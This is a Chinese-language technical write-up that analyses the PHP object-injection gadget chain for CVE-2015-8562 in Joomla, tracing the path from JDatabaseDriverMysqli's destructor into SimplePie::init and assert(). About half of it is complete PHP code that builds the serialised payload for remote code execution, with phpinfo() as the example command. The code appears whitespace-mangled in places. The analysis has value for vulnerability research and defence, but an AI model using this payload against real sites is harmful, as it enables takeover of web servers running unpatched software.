CVE-2015-8562 POP链分析

紧接上篇文章

这篇文章来讲一讲CVE-2015-8562的POP链具体构造

0X00 前言

    emmm，首先CVE-2015-8562这个漏洞的成因这里简单复述以下，useragent字符串的内容会被存入session中，而且可利用版本下存在没有正确处理'|'的情况，导致恶意攻击者可以构造'|'的位置使name|payload这样的格式被存入session中。再通过构造的POP链达到漏洞利用。

0X01 POP链构造分析

这是本文的重点，如何构造该POP链

首先我们从别人提供的POC来看，在上文中我提到过程是JDatabaseDriverMysqli->__destruct->disconnect->call_user_func_array，然而该类中的call_user_func_array是无法控制的

publicfunctiondisconnect(){// Close the connection.

if($this->connection)

{foreach($this->disconnectHandlersas$h)

{call_user_func_array($h,array(&$this));}

mysqli_close($this->connection);}$this->connection=null;}

这时候把目光放在SimplePie类的init()函数中

$cache=call_user_func(array($this->cache_class,'create'),$this->cache_location,call_user_func($this->cache_name_function,$this->feed_url),'spc');

很明显第二个call_user_func_array的两个参数我们都是可以控制的将第一个参数赋值为assert，第二个为我们要执行的代码就构成了一个后门。

所以，整理一下我们需要满足的条件feed_url 存放我们想要执行的代码，cache_name_function存放"assert" 。disconnetHandlers存放$x和"init"。加上必要的函数不难得出我们的pop构造链。

//header("Content-Type: text/plain");

class JSimplepieFactory{}

class JDatabaseDriverMysql{}

class SimplePie{

    var $sanitize;

    var $cache;

    var $cache_name_function;

    var $javascript;

    var $feed_url;

    function__construct(){

        $this->feed_url="phpinfo();JFactory::getConfig();exit;";

        $this->javascript=9999;

        $this->cache_name_function="assert";

        $this->sanitize=newJDatabaseDriverMysql();

        $this->cache=true;

        }

}

class JDatabaseDriverMysqli{

    protected $a;

    protected $disconnectHandlers;

    protected $connection;

    function__construct(){

        $this->a=newJSimplepieFactory();

        $x=newSimplePie();

        $this->connection=1;

        $this->disconnectHandlers=[[$x,"init"],];

    }

}

$a=newJDatabaseDriverMysqli();

echoserialize($a);